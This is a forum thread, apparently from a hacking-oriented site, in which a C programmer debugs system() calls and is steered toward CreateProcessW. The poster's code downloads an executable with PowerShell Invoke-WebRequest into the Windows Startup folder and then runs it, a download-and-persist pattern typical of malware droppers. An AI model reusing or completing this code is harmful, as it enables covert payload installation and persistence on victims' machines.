Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

system() execute a file with spaces

Hello,
I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work?

Here are the 2 lines of code, the first one works while the second gives an error:

Code
system("powershell.exe -command Invoke-WebRequest https://example.com/myEXE.exe -OutFile '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe'"); //Works
system("'%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe'""); //Doesn't work

Tried doing this as well:
Code
system("\"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe\"");

Thanks in advance!
Escape your backslashes.
And don't use system()
[Image: IqcFmkW]
(Dec 5, 2018 10:09 AM)Benoit ᵇᵃˡˡˢ Wrote:  Escape your backslashes.
And don't use system()

Further explanation please..
You could use ShellExecute function for this
https://en.wikipedia.org/wiki/Escape_sequences_in_C
[Image: IqcFmkW]
(Dec 5, 2018 10:33 AM)TCP Wrote:  You could use ShellExecute function for this

(Dec 5, 2018 10:46 AM)Benoit ᵇᵃˡˡˢ Wrote:  https://en.wikipedia.org/wiki/Escape_sequences_in_C

Is the CreateProcess() function good as well?
Yes, but check the remarks section for things to avoid.
[Image: IqcFmkW]
system("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe");

ShellExecute have more args if you need just to run your file
WinExec https://docs.microsoft.com/en-us/windows...se-winexec
[Image: bitcoin.png] Be Nice For Once 15hVUVz7xA4kazHdk2BuErENGCskVwjYXP
(Dec 5, 2018 02:58 PM)HFDone Wrote:  system("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe");

ShellExecute have more args if you need just to run your file
WinExec https://docs.microsoft.com/en-us/windows...se-winexec

When I write it like that it says 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start' is not recognized as an internal or external command,
operable program or batch file.'
double slashes ? check again my code
[Image: bitcoin.png] Be Nice For Once 15hVUVz7xA4kazHdk2BuErENGCskVwjYXP
(Dec 6, 2018 02:52 AM)HFDone Wrote:  double slashes ? check again my code

I wrote the code with double slashes, that's the cmd output...
Use CreateProcessW() (also offers lot more versatility)

system() is bad practice and no point to use it if you are writing on windows
(Dec 11, 2018 06:10 AM)3DES Wrote:  Use CreateProcessW() (also offers lot more versatility)

system() is bad practice and no point to use it if you are writing on windows

Yep ended up creating it with CreateProcessW(), thanks!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by Transporter007May 26, 2023 06:22 PM 22 665 May 26, 2023 06:22 PM
Last Post: Smoky
[C#] by vaiperboyMay 18, 2019 01:34 AM 2 177 May 18, 2019 01:34 AM
Last Post: Meterpreter
[Python] by cl0ckDec 28, 2018 11:09 AM 8 204 Dec 28, 2018 11:09 AM
Last Post: LouisXV